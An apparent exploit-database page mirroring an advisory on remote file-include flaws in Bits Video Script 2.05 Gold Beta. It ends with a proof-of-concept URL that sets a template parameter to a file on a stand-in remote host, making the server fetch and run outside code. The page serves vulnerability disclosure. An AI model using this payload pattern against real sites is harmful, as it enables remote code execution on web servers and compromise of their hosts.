header-logo
Suggest Exploit
vendor:
Bits Video Script
by:
Unknown
7.5
CVSS
HIGH
Remote File Include
CWE
Product Name: Bits Video Script
Affected Version From: 2.05 Gold Beta
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Unknown
Unknown

Bits Video Script Remote File Include Vulnerabilities

Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Mitigation:

Unknown
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40709/info

Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. 

http://www.example.com/Video/showcasesearch.php?rowptem[template]=http://www.example.net/c.txt?

Navigation

Suggest Exploit

Services By CQR